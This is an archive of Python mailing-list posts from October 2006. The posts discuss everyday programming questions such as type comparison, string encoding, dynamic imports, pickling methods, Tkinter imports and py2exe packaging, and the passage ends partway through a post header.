> > > then "x == 3" is false, but "int(x) == 3" is true.
> > But then why is 3.0 == 3 true? They are different types.
>
> The 3 gets converted to float, like when you say
>
>   x = 3.1 + 3
>
> the result is 6.1.

Yes - it just seems that there isn't a principled reason for implicitly
converting 3 to 3.0 in 3.0 == 3 but not implicitly converting "cat" to
boolean in "cat" == true. There is something to be said about SML's
rigourous approach where 3.0 = 3 isn't even allowed since it is
considered ill-typed. Nevertheless, it is doubtlessly convientent to be
able to compare integers and doubles directly in the natural way and
there is little practical reason to compare a string with a truth value
so Python's solution does have common sense on its side.



From sjmachin at lexicon.net  Mon Oct  9 05:54:14 2006
From: sjmachin at lexicon.net (John Machin)
Date: 9 Oct 2006 02:54:14 -0700
Subject: can compile function have a bug?
In-Reply-To: <egcult$391$03$1@news.t-online.com>
References: <1160274901.447221.45720@e3g2000cwe.googlegroups.com>
	<egcult$391$03$1@news.t-online.com>
Message-ID: <1160387654.232351.238200@i42g2000cwa.googlegroups.com>


Peter Otten wrote:
> ygao wrote:
>
> >>>> compile('U"?"','c:/test','single')
> > <code object ? at 00F06B60, file "c:/test", line 1>
> >>>> d=compile('U"?"','c:/test','single')
> >>>> d
> > <code object ? at 00F06BA0, file "c:/test", line 1>
> >>>> exec(d)
> > u'\xd6\xd0'
> >>>> U"?"
> > u'\u4e2d'
> >>>>
> >
> > why is the result different?
> > a bug or another reason?
>
> How that particular output came to be I don't know, but you should be able
> to avoid the confusion by either passing a unicode string to compile() or
> specifying the encoding:
>
> >>> exec compile(u'u"?"','c:/test','single')
> u'\u4e2d'
> >>> exec compile('# -*- coding: utf8 -*-\nu"?"','c:/test','single')
> u'\u4e2d'
>
> Peter
>
> PS: In and all-UTF-8 environment I would have /expected/ to see
>
> >>> your_encoding = "utf8"
> >>> identity = "latin1"
> >>> u'\u4e2d'.encode(your_encoding).decode(identity)
> u'\xe4\xb8\xad'
>
> and that's indeed what I get over here:
>
> >>> exec compile('u"?"','c:/test','single')
> u'\xe4\xb8\xad'

But it's not an all-UTF-8 environment; his_encoding = 'gb2312' or one
of its heirs/successors :-)

Cheers,
John



From larry.bates at websafe.com  Fri Oct 20 13:05:02 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Fri, 20 Oct 2006 12:05:02 -0500
Subject: FTP over SSL
In-Reply-To: <Xns9862A12779E68toreriknpolarno@129.242.5.222>
References: <Xns9862A12779E68toreriknpolarno@129.242.5.222>
Message-ID: <MYWdnfuOiZownKTYnZ2dnUVZ_rGdnZ2d@comcast.com>

Tor Erik Soenvisen wrote:
> Hi,
> 
> Anyone know about existing code supporting FTP over SSL?
> I guess pycurl http://pycurl.sourceforge.net/ could be used, but that
> requires knowledge of libcurl, which I haven't.
> 
> regards

I don't know if it helps at all, but you can do https put of a file over SSL
to server and/or you can use Webdav (if DAV server is available on target
server) to copy files as well.

-Larry


From steve at REMOVE.THIS.cybersource.com.au  Tue Oct 31 06:23:15 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Tue, 31 Oct 2006 22:23:15 +1100
Subject: How can I import a script with an arbitrary name ?
References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com>
	<mailman.1513.1162252870.11739.python-list@python.org>
Message-ID: <pan.2006.10.31.11.23.15.574722@REMOVE.THIS.cybersource.com.au>

On Tue, 31 Oct 2006 11:00:52 +1100, Ben Finney wrote:

> If you want a solution that gives you an actual module object, here's
> what I use:
> 
>     def make_module_from_file(module_name, file_name):
>         """ Make a new module object from the code in specified file """
> 
>         from types import ModuleType
>         module = ModuleType(module_name)
> 
>         module_file = open(file_name, 'r')
>         exec module_file in module.__dict__
> 
>         return module

Isn't that awfully complicated? What's wrong with using __import__ to get
a module object?

>>> mod = __import__("math")
>>> mod
<module 'math' from '/usr/lib/python2.4/lib-dynload/mathmodule.so'>


The only advantage (or maybe it is a disadvantage?) I can see to your
function is that it doesn't search the Python path and you can specify an
absolute file name.


-- 
Steven.



From apardon at forel.vub.ac.be  Tue Oct 10 07:07:15 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 10 Oct 2006 11:07:15 GMT
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<452820C1.5020607@tim.thechases.com> <egakob$76a$2@sea.gmane.org>
	<20061010114945.GA4478@dagan.sigpipe.cz>
	<mailman.201.1160476378.11739.python-list@python.org>
	<7xslhwh2fz.fsf@ruckus.brouhaha.com>
Message-ID: <slrneimvn3.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-10, Paul Rubin <http> wrote:
> "Fredrik Lundh" <fredrik at pythonware.com> writes:
>> or for the perhaps-overly-clever hackers,
>> 
>>     for x in iter(lambda: foo() or None, None):
>>         process(x)
>
> for x in takewhile(foo() for _ in repeat(None)):
>    process (x)

>>> for x in takewhile(foo() for _ in repeat(None)):
...   print x
... 
Traceback (most recent call last):
 File "<stdin>", line 1, in ?
TypeError: takewhile expected 2 arguments, got 1



From gmarkowsky at gmail.com  Fri Oct 27 12:22:00 2006
From: gmarkowsky at gmail.com (gmarkowsky at gmail.com)
Date: 27 Oct 2006 09:22:00 -0700
Subject: importing class
Message-ID: <1161966120.828597.57280@b28g2000cwb.googlegroups.com>

Hi all,

I'm trying to import a class from a module. The class looks like this:
class App:

    def __init__(self, master):

        frame = Frame(master)
        frame.pack()

        self.button = Button(frame, text=text_1, command= self.comm_1)
        self.button.pack(side=LEFT)

        self.hi_there = Button(frame, text=text_2, command=self.comm_2)
        self.hi_there.pack(side=LEFT)

    def comm_1(self):
        command1()
        root.quit()

    def comm_2(self):
        command2()
        root.quit()

It's supposed to just make a Tkinter window with two choices. The
problem is that when I import it from a module, I get the following
error:

NameError: global name 'Frame' is not defined

But when I copy and paste it into the file, it works. Can anyone tell
me what's wrong?

Greg



From jstroud at mbi.ucla.edu  Mon Oct  2 18:02:02 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Mon, 02 Oct 2006 22:02:02 GMT
Subject: Need help with an array problem.
In-Reply-To: <1159826153.470372.101200@e3g2000cwe.googlegroups.com>
References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com>
Message-ID: <u%fUg.9160$e66.4034@newssvr13.news.prodigy.com>

SpreadTooThin wrote:
> Basically I think the problem is in converting from a 32 bit integer to
> a 16 bit integer.
> 
> I have two arrays:
> import array
> 
> a = array.array('L', [65537])
> b = array.array('H', [0])
> 
> b[0] = a[0]
> 
> Which gives an overflow message....
> So can't I truncate the long by discaring the upper bits ..
> Like  b[0] = 0x0000FFFF & a[0]
> 
> How does one normally cast an object from long to short?

Take the modulo 65536?

py> array.array('H', (array.array('L', [65537%65536])))
array('H', [1])


James


-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From limodou at gmail.com  Thu Oct 26 23:51:53 2006
From: limodou at gmail.com (limodou)
Date: Fri, 27 Oct 2006 11:51:53 +0800
Subject: Fwd: How to Split Chinese Character with backslash representation?
In-Reply-To: <505f13c0610262051t30c3cf29vaf73f3b43343411@mail.gmail.com>
References: <3ACF03E372996C4EACD542EA8A05E66A0615DC@mailbe01.teak.local.net>
	<505f13c0610262051t30c3cf29vaf73f3b43343411@mail.gmail.com>
Message-ID: <505f13c0610262051w3ec950dci158bad583d1752ce@mail.gmail.com>

---------- Forwarded message ----------
From: limodou <limodou at gmail.com>
Date: Oct 27, 2006 11:51 AM
Subject: Re: How to Split Chinese Character with backslash representation?
To: Wijaya Edward <ewijaya at i2r.a-star.edu.sg>


On 10/27/06, Wijaya Edward <ewijaya at i2r.a-star.edu.sg> wrote:
>
> Hi all,
>
> I was trying to split a string that
> represent chinese characters below:
>
>
> >>> str = '\xc5\xeb\xc7\xd5\xbc'
> >>> print str2,
> ???
> >>> fields2 = split(r'\\',str)
> >>> print fields2,
> ['\xc5\xeb\xc7\xd5\xbc']
>
> But why the split function here doesn't seem
> to do the job for obtaining the desired result:
>
> ['\xc5','\xeb','\xc7','\xd5','\xbc']
>
\xXX just internal representation of None ASCII, I guess above string
is encoded with local locale, maybe gbk. You can get the bytes list
through:

str = '\xc5\xeb\xc7\xd5\xbc'
list(str)

And string is just a list of characters.

--
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


-- 
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


From mdsteele at gmail.com  Fri Oct 20 18:43:21 2006
From: mdsteele at gmail.com (mdsteele at gmail.com)
Date: 20 Oct 2006 15:43:21 -0700
Subject: Why can't you pickle instancemethods?
References: <1161380004.714778.152080@m7g2000cwm.googlegroups.com>
Message-ID: <1161384201.118969.191540@k70g2000cwa.googlegroups.com>

Chris wrote:
> Why can pickle serialize references to functions, but not methods?
>
> Pickling a function serializes the function name, but pickling a
> staticmethod, classmethod, or instancemethod generates an error. In
> these cases, pickle knows the instance or class, and the method, so
> what's the problem? Pickle doesn't serialize code objects, so why can't
> it serialize the name as it does for functions? Is this one of those
> features that's feasible, but not useful, so no one's ever gotten
> around to implementing it?

I have often wondered this myself.  I'm convinced that it would in fact
be useful -- more than once I've written a program that has lots of
objects with function pointers, and where it was inconvenient that the
method pointers could not be pickled.  One compromise that I have used
before is to write a class such as:

class InstanceMethodSet(object):
    def __init__(self,methods):
        self.methods = set(methods)
    def __getstate__(self):
        return [(method.im_self, method.im_func.func_name)
                for method in self.method]
    def __setstate__(self,state):
        self.methods = set(getattr(obj,name) for obj,name in state)

Obviously, this particular example is crude and not terribly robust,
but it seems to do the job -- it effectively lets you pickle a set of
instance method pointers.  I don't know of any reason why instance
methods (or class or static methods) couldn't be pickled directly,
unless perhaps there exists some kind of pathological corner case that
would create Badness?

-Matt



From deets at nospam.web.de  Mon Oct 23 10:06:54 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Mon, 23 Oct 2006 16:06:54 +0200
Subject: Script to count files in a folder
References: <1161608629.259769.88490@b28g2000cwb.googlegroups.com>
	<mailman.974.1161609148.11739.python-list@python.org>
	<1161609961.966357.281860@m7g2000cwm.googlegroups.com>
Message-ID: <4q40juFldi9kU1@uni-berlin.de>

umut.tabak at student.kuleuven.be wrote:

> 
> 
> On Oct 23, 3:11 pm, "Fredrik Lundh" <fred... at pythonware.com> wrote:
>> umut.ta... at student.kuleuven.be wrote:
>> > A batch file creates this file and deletes that file in the same loop.
>> > This file is intended to start the reading of an input file. After it
>> > is read batch file deletes this file automatically and on the next loop
>> > it  will be written and deleted again. With this script I have to count
>> > the occurences of the file on this specific folder.what does "count"
>> > mean here?
>>
>> do you want to check if the file is there, or how many times a file with
>> that name has been created ?
> 
> Yes I would like to check how many times that specific file is created.
> so count is the number of times of creation.

As Fredrik said - not really possible, at least not with standard python.
For Linux, you might be lucky using the python LUFS module:

http://www.freenet.org.nz/python/lufs-python/

But you being a beginner, I guess that is a bit over your head. Trying to
change the behaviour of the batch skript, writing out the information you
need is the more reasonable approach.

Diez


From DonQuixoteVonLaMancha at gmx.net  Wed Oct 18 17:42:15 2006
From: DonQuixoteVonLaMancha at gmx.net (Karsten W.)
Date: 18 Oct 2006 14:42:15 -0700
Subject: Reading a Microsoft access file.
In-Reply-To: <mailman.714.1161203760.11739.python-list@python.org>
References: <mailman.714.1161203760.11739.python-list@python.org>
Message-ID: <1161207735.395919.186560@i3g2000cwc.googlegroups.com>

You could access the file via the odbc interface. There is a module
odbc which comes with the windows package, iirc.

Regards,
Karsten.

infotechsys at pivot.net wrote:
> I googled for the answer but all the answer seem to imply that you
> have to have Access installed on your system. I have a file that was
> created using Access and I want develop a Python script to
> read the file and produce a report. Can this be done, if could you point
> me to some doc?
> Thanks.
> Wayne



From steve at holdenweb.com  Tue Oct 10 09:59:06 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Oct 2006 14:59:06 +0100
Subject: Using the imp module
In-Reply-To: <1160487276.256447.187000@i42g2000cwa.googlegroups.com>
References: <1160487276.256447.187000@i42g2000cwa.googlegroups.com>
Message-ID: <egg8tj$vtf$1@sea.gmane.org>

Claus Tondering wrote:
> I understand that you can use the imp module to programmatically mimic
> the "import xyzzy" statement.
> 
> But is there any way to programmatically mimic the "from xyzzy import
> *" statment?
> 
See the docs for __import__().

I think imp is pretty much dead nowadays.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From nairarunv at gmail.com  Thu Oct 26 05:27:16 2006
From: nairarunv at gmail.com (Arun Nair)
Date: 26 Oct 2006 02:27:16 -0700
Subject: Cards deck problem
Message-ID: <1161854836.904027.8380@m73g2000cwd.googlegroups.com>

Can any one help me with this im not getting it even after reading
books because there is not much of discussion anywhere

a>
 Implement a calss that represents a playing card.  The class should
implement the following methods:
_ _ init _ _ (self, rank, suit) Creates a card.
rank is an integer in range of 1 to 13 (Ace:1, King 13), suit is a
character in set {'h','d','c','s'}
getRank(self) Returns the rank of the card
getSuit(self) Returns the suit of the card
BJValue(self) Returns the 'Blackjack Value' of the card (Ace:1, Face
card:10)
_ _ str _ _ (self) Returns a string naming the card. For example: 'Ace
of Spades'

Test your class by writing a 'test harness' that generates 'n' randomly
generated cards, where 'n' is supplied by the user.  Print out the
string associated with each card and it's 'Blackjack value'


b>
Extend the card class to display in a graphics window.  the new class
should support the following method: draw(self, win, center) Draws a
card in a window.
Use the extended class to display a hand of five random cards.


c> Write a program that creates a list of card objects as above and
print out the cards grouped by suit and in rank order in each suit.
the program should read the values for the list of cards from a file,
where each line in the file specifies a single card with the rank and
then the suit separated by a space. Hint: sort the list first by rank,
and then by suit.


d> Create a new class deck that represents a pack of 52 cards.  Which
supports the following methods:

_ _init_ _ (self) - Creates a deck of cards in standard order.
shuffle(self) - Randomizes the order of the cards
dealCard(self) - Returns a single card from the top of the deck, and
removes the card from the deck.
cardsLeft(self) - Returns the number of cards left in the deck.
Test your class by having it deal out a sequence of 'n' cards where 'n'
is a number input by the user.  The program should either print out the
cards, or display them in a window.

Your urgent and quick reply help will be appreciated the most.

Arun Nair



From icetortoise at gmail.com  Mon Oct 16 21:28:23 2006
From: icetortoise at gmail.com (Andy)
Date: 16 Oct 2006 18:28:23 -0700
Subject: command text parsing and hints displaying on user input.
In-Reply-To: <1160983157.270102.68630@m73g2000cwd.googlegroups.com>
References: <1160983157.270102.68630@m73g2000cwd.googlegroups.com>
Message-ID: <1161048503.154706.166430@i3g2000cwc.googlegroups.com>

Anybody have an idea on this??
Does Natural Language Processing help in this case?



From vatamane at gmail.com  Tue Oct 10 04:05:16 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 10 Oct 2006 01:05:16 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
Message-ID: <1160467516.602655.169920@c28g2000cwb.googlegroups.com>


Edward Diener No Spam wrote:
> Michael wrote:
> > Edward Diener No Spam wrote:
> >
> >> Has there ever been, or is there presently anybody, in the Python
> >> developer community who sees the same need and is working toward that
> >> goal of a common component model in Python, blessed and encouraged by
> >> those who maintain the Python language and standard modules themselves ?
> >
> > Someone aiming towards a standard to /replace/ everyone else's? That
> > presupposes a level of arrogance that seems unusual in the python world.
> > (whilst everyone's proud of their own code and they _generally_ respect
> > other people's even if it's not their cup of tea).
>
> The reason I would like to see a standard component model for Python is
> so 3rd party developers could create their classes to conform to this
> model and work in any RAD IDE environment which adapts it. That's the
> way JavaBeans work, that the way Borland's VCL component model works,
> and that's the way .Net works. When there are many different component
> models, the 3rd party developer must adapt their components to each
> model for a particular environment.
>
> But far be it from me to want to replace everybody else's model <g>.
>
> By your reasoning above, standardizing anything in software is an
> arrogant proposition. Whereas I look at standardization, when it is well
> done, as a boon to programmers.
>
> >
> > The WSGI standard could be a form of component model, and has gone through
> > the PEP process so that might match your criterion.
>
> I do not know what it is but I will look it up.
>
> > As for component
> > models, they do exist.
> >
> > Our component model on the Kamaelia project [1] is one that's heavily
> > designed around the idea of composition and independent execution of
> > components and message passing (message passing maps to events for some
> > sorts of message),
> >    [1] http://kamaelia.sourceforge.net/Home
>
> I will look at kamaelia. Thanks !
>
> >
> > I wouldn't think of proposing it as the single standard to rule them all
> > though, for the simple reason every approach has its own strengths. (We do
> > find the approach extremely useful though)
> >
> > If you want a quick example of the core ideas, a tutorial aimed around
> > building a massively simplified core is here:
> >    http://kamaelia.sourceforge.net/MiniAxon/
> >
> > If you want to see a substantial example, you can look here:
> >    * http://tinyurl.com/oqjfb - whiteboarding with audio where every client
> >      is a server. The entire resulting system is also a component.
> >
> > For something more simplistic:
> >    * http://kamaelia.sourceforge.net/Examples/SimplestPresentationTool.html
> >
> > Something halfway in terms of complexity (a PVR for transcoding everything
> > broadcast on digital TV):
> >    * http://tinyurl.com/lvygq
> >      (OK, you need to add more channels, but you'd need more CPU's too)
> >
> > We also have tools for introspecting a running system, and also a visual
> > composition tool (called Compose) [2] for creating simple systems
> > graphically, and that, as you say, handles a significant chunk of
> > dreariness. Suggestions on improving the model and composition tool are
> > very welcome, code is even more welcome :)
> >
> >    [2] Sample system created with the newest version of Compose:
> >           http://tinyurl.com/numwk
> >        Compose is also a Kamaelia system, and can be found here:
> >           http://tinyurl.com/p7z76
> >        (bulk of the wiring up is in the bottom of the file - this is an
> >        interesting example because of the use of Pygame and Tk for different
> >        parts of the interface where appropriate)
> >
> >
> > However, off the top of my head, you should also look at Zope's component
> > model, Trac's component model, Twisted's model & PEAK, and any proposal
> > to say "this is the solution", needs to be compelling for all of these
> > projects.
>
> A standard component model could be used as a base for other more
> advanced needs. Most of those mentioned above seem to involve web
> application frameworks whereas my idea of a component model just assumes
>   the paradigms of properties, methods, and events which may allow
> re-usable components at a base level in any environment.
>
> A particular implementation is certainly allowed to build a more
> complicated idea of a component, through inheritance, from a base level
> component, and this is in fact the way that most components work in
> current component model environments I have mentioned. For instance in
> .Net a control is a component with other added qualities. So while one
> could build components which are not controls, it is necessary to add
> functionality to the base level idea of a component in order to create a
> control.
>
> >
> > Note, they do change where there's a benefit - twisted adopted some
> > interesting ideas from Zope for example - however the onus on showing the
> > benefit is on you. (Which if you can do, would be welcome I would expect)
> > One thing that would probably be very useful would be to identify a way the
> > various models these projects use can be made to interact better.
> >
> > The reason I mention //our// model is because we're finding it useful, and
> > has visual composition, introspection and components have a rich amount of
> > meta data associated with them, this may or may not fit your criterion.
> >
> > One of the most "bling" examples we've got right now though (which I
> > mentioned mainly because it does show reuse up quite nicely) is where we
> > play Dirac encoded video back onto a pygame surface and then render that
> > onto a texture that's on a plane spinning in 3D (in realtime):
> >    * Code: http://tinyurl.com/oynxv
> >    * Screenshot: http://kamaelia.sourceforge.net/t/Dirac3D.png
> >
> > I've uploaded a collection of other screenshots of various kamaelia related
> > things here:
> >    * http://kamaelia.sourceforge.net/screenshots/
> >
> > You may find the following interesting:
> >    * http://kamaelia.sourceforge.net/screenshots/Compose.png
> >    * http://kamaelia.sourceforge.net/screenshots/KamaeliaOpenGL.png (example
> >      of putting components in places they don't realise)
> >    * http://kamaelia.sourceforge.net/screenshots/AxonVisualiser.png
>
> Thanks for all the link regarding kamaelia.


Python does not _need_ a component model just as you don't _need_ a RAD
IDE tool to write Python code. The reason for having a component model
or a RAD IDE tool is to avoid writing a lot of boiler plate code.
Python is terse enough that boiler plate code is not needed, just type
what you need into an editor. It seems that you talk about Python but
you are still thinking in Java or C++.

At the same time one could claim that Python already has certain
policies that makes it seem as if it has a component model. Take a look
at the "magic methods". For example if a class has a __len__ method, it
is possible to use the len() function on an instance of that class. If
a class has the  __getitem__ then indexing can be used on that class's
insance. Then Python has properties (see
http://www.python.org/doc/2.2.3/whatsnew/sect-rellinks.html).  Just by
inspecting the object one can tell a great deal about them (even read
the documentation if needed, by using the __doc__ attribute).   What
other standards would you propose for the core language?



From fakeaddress at nowhere.org  Mon Oct  2 23:35:59 2006
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Tue, 03 Oct 2006 03:35:59 GMT
Subject: Determin network interface
In-Reply-To: <1159828540.208599.187310@m73g2000cwd.googlegroups.com>
References: <1159828540.208599.187310@m73g2000cwd.googlegroups.com>
Message-ID: <zUkUg.12566$7I1.8808@newssvr27.news.prodigy.net>

jakobsg at gmail.com wrote:
> Hi. How can I determin the hwaddr or ipaddress of the networkinterface
> that is used in an outgoing connection?

Is sock_object.getsockname() enough?

     http://docs.python.org/lib/socket-objects.html


-- 
--Bryan


From _karlo_ at _mosor.net_  Fri Oct 20 22:51:47 2006
From: _karlo_ at _mosor.net_ (Karlo Lozovina)
Date: Sat, 21 Oct 2006 02:51:47 +0000 (UTC)
Subject: SQLAlchemy and py2exe
Message-ID: <Xns98633178E43F8mosornet@161.53.160.64>

I've installed SQLAlchemy under Windows (strangely, it didn't install 
inside ../site-packages/ as a directory, but rather as a 
SQLAlchemy-0.2.8-py2.4.egg file). I can import it with 'import 
sqlalchemy' and run my program with WingIDE, SPE and ofcourse in plain old 
Python shell (ipython actually).

But when I build my .exe using py2exe and run the executable, it fails 
with 'Cannot import module sqlalchemy' error. Is it because SA is 
installed inside a .egg file, and can I somehow force it to install like 
all the other packages?

Thanks guys...

-- 
 _______                                        Karlo Lozovina - Mosor
|   |   |.-----.-----.     web: http://www.mosor.net || ICQ#: 10667163
|       ||  _  |  _  |             Parce mihi domine quia Dalmata sum.
|__|_|__||_____|_____|


From gagsl-py at yahoo.com.ar  Thu Oct  5 03:40:56 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 05 Oct 2006 04:40:56 -0300
Subject: Assertion in Python
In-Reply-To: <1160032169.115098.213000@i42g2000cwa.googlegroups.com>
References: <1160032169.115098.213000@i42g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061005042311.03a920b0@yahoo.com.ar>

At Thursday 5/10/2006 04:09, vmalhotra wrote:

>Now the problem which i am facing is how to do assertion from that
>output. e.g output is something like this
>
>eth0 is up
>   OSPF not enabled on this interface
>eth1 is up
>   Internet Address 192.168.1.2/24, Area 0.0.0.0
>   Router ID 192.168.1.2, Network Type BROADCAST, Cost: 10
>   Transmit Delay is 1 sec, State DR, Priority 1
>   Designated Router (ID) 192.168.1.2, Interface Address 192.168.1.2
>   No backup designated router on this network
>   Timer intervals configured, Hello 10, Dead 40, Wait 40, Retransmit 5
>     Hello due in 00:00:00
>   Neighbor Count is 0, Adjacent neighbor count is 0
>eth2 is up
>   OSPF not enabled on this interface
>eth3 is down
>   OSPF not enabled on this interface
>lo is up
>   OSPF not enabled on this interface
>sit0 is down
>   OSPF not enabled on this interface
>
>In this i want to check Designated Router (ID) 192.168.1.2.

This is the idea (assuming you have already read and split the output 
on lines):

for line in output:
   line = line.strip()
   if line.startswith('Designated Router (ID)'):
     ipReadStr = line[line.find('(ID)')+4:] # just before the IP starts
     ipReadStr = ipReadStr.split(',',1)[0].strip() # up to the next ","
     assertEqual(ipReadStr, ipExpected)
     break
else:
     fail('"Designated Router (ID)" not found')


Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From limodou at gmail.com  Tue Oct 24 01:26:45 2006
From: limodou at gmail.com (limodou)
Date: Tue, 24 Oct 2006 13:26:45 +0800
Subject: [ANN]UliPad 3.5 released
Message-ID: <505f13c0610232226w1de37d45s1b3c4d8d2df784ac@mail.gmail.com>

What's it?
========

It's an Editor based on wxPython. NewEdit is the old name, and UliPad
is the new name. UliPad uses Mixin and Plugin technique as its
architecture. Most of its classes can be extended via mixin and plugin
components, and finally become an integrity class at
creating the instance. So UliPad is very dynamic. You can write the
new features in new files, and hardly need to modify the existing
code. And if you want to extend the existing classes, you could write
mixins and plugins, and this will be bound to the target class that I
call "Slot Class". This technique will make the changes centralized
and easily managed.

What's new in 3.5
==============

New features and improvement:

#. Add not automatically clear content of Message window, and add
Shift+F5 shortcut
#. Use FlatNotebook instead of Notebook
#. Add spell checking plugin, and you should install pyEnchant module
#. Auto save side pane size
#. Auto maximize when double-click on tab of notebook, only 50% for side pane
#. Improve acp format, and you can use {#text#} represent selected text
#. Add support for creating ePyDoc comment to function definition
#. Add personal info management, only user name for now
#. Add session management
#. Add live regular expression searching, you can type regex
dynamically and watch the result immediately
#. Add CloseOther plugin, thanks for nmweizi, and it can keep current
document but close all others documents
#. Add smart navigation, and it can remember the path of files visited
#. Improve Ctrl+B to jump to last modified position
#. Add a checkbox for reStructuredText Html view window, and it can
used for stop automatically refresh the html content as you changing
the ReST file
#. Auto close syntax check window as there are no errors to current python file
#. Auto support for dropping files and directories to directory window
#. Dynamically popup menu creation of notebook
#. Add open Dos window here for current document on popup menu of
notebook, only works for windows now
#. Add custom FlatButtons control written by myself, used in smart navigation
#. Improve support for custom toolbar control in toolbar process
#. Improve project process: refactor, adding and deleting config process
#. Improve Chinese support in rerange.py script

Changes:

#. Remove the process for input assistant in OnKeyDown of editor, in
order to simplify the process
#. Fix don't check the syntax for python file as saving bug
#. Fix can't search for document as opening it bug
#. Fix incorrect enabled status for toolbar buttons bug
#. Fix incorrect syntax highlight process bug
#. Refactor and fix New... menuitem is not the same with toolbar menu bug
#. Fix losing input focus after saving file bug
#. Fix pressing Ctrl+F4 will quit UliPad bug
#. Change recent files and recent path menu to popup menu, so it will
speed opening file and saving file
#. Fix the redirection process of executing python program, and add an
option for showing parameter window on every running
#. Fix the efficient of input assistant bug
#. Change Ctrl+Enter to Shift+Enter

Where to download it?
================

download lastest version 3.5:
http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=ulipad_3.5.zip
also have windows installer:
http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=UliPad.3.5.exe
wiki: http://wiki.woodpecker.org.cn/moin/UliPad
svn: http://cvs.woodpecker.org.cn/svn/woodpecker/ulipad/trunk
maillist: http://groups.google.com/group/ulipad

If you have any problem as using UliPad, welcome to join the UliPad
maillist to discuss.

Hope you enjoy it. ;-)

-- 
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


From ableofhighheart at gmail.com  Fri Oct  6 17:38:53 2006
From: ableofhighheart at gmail.com (Doni Ocena)
Date: 6 Oct 2006 14:38:53 -0700
Subject: kdb and python
Message-ID: <1160170733.456830.196430@i42g2000cwa.googlegroups.com>

Does anyone know where to find more material on kdb and python
integration?  I've only found this so far ->
http://kx.com/a/k/connect/python/pyk-0.9/

Also, someone once mentioned python tunnelling in kdb but I couldn't
find any reading material on it.

-Doni
-it never ends, ... , + it never ends



From nitte.sudhir at gmail.com  Tue Oct 17 14:10:16 2006
From: nitte.sudhir at gmail.com (kath)
Date: 17 Oct 2006 11:10:16 -0700
Subject: what are XLRDError and CompDocError?
Message-ID: <1161108616.614125.85120@i3g2000cwc.googlegroups.com>

Hi,
i am facing some problems with opening an excel file. I am using XLRD
module.
I am getting

XLRDError: Can't find workbook in OLE2 compound document

and

CompDocError: Not a whole number of sectors

exceptions in seperate try on different files.

1.Does any one know anout these exceptions? what is the cause?

2. what I should do to resolve these problems.?



Thank you,
regards,
sudhir.



From klingens at web.de  Sun Oct 15 01:34:32 2006
From: klingens at web.de (Alexander Klingenstein)
Date: Sun, 15 Oct 2006 07:34:32 +0200
Subject: .doc to html and pdf conversion with python
Message-ID: <1041880050@web.de>

> Is there some reason you really want to convert to PDF first? You can
> get much better HTML right from the Word doc. You'll lose a lot of info
> going from PDF to HTML.

Right now, two reasons: Printing to PDF allows me to create the PDF "for
the web" which means it has a much smaller filesize needed for downloading.
Mainly accomplished with automatic image resizing.

2nd, htmltidy simply doesn't work for the files I get from Word HTML. I need it
to work automagically without intervention and usable by not really PC literate
people:

D:\tmp\pdftohtml>tidy auberer.htm -o aub2.htm
line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 172 column 70 - Error: <o:p> is not recognized!
line 172 column 70 - Warning: discarding unexpected <o:p>
line 172 column 75 - Warning: discarding unexpected </o:p>
line 176 column 47 - Error: <o:p> is not recognized!
line 176 column 47 - Warning: discarding unexpected <o:p>
line 176 column 52 - Warning: discarding unexpected </o:p>
line 179 column 77 - Error: <o:p> is not recognized!
line 179 column 77 - Warning: discarding unexpected <o:p>
line 179 column 82 - Warning: discarding unexpected </o:p>
line 182 column 55 - Error: <o:p> is not recognized!
line 182 column 55 - Warning: discarding unexpected <o:p>
line 182 column 60 - Warning: discarding unexpected </o:p>
line 185 column 57 - Error: <o:p> is not recognized!
line 185 column 57 - Warning: discarding unexpected <o:p>
line 185 column 62 - Warning: discarding unexpected </o:p>
line 188 column 55 - Error: <o:p> is not recognized!
94 warnings, 38 errors were found! Not all warnings/errors were shown.

This document has errors that must be fixed before
using HTML Tidy to generate a tidied up version.

So far, pdftohtml has worked flawlessly and created much saner HTML output
out of the box than Word 2000
_____________________________________________________________________
Der WEB.DE SmartSurfer hilft bis zu 70% Ihrer Onlinekosten zu sparen!
http://smartsurfer.web.de/?mc=100071&distributionid=000000000066



From marc.wyburn at googlemail.com  Thu Oct 12 06:03:05 2006
From: marc.wyburn at googlemail.com (marc.wyburn at googlemail.com)
Date: 12 Oct 2006 03:03:05 -0700
Subject: XML ElementTree Parse.
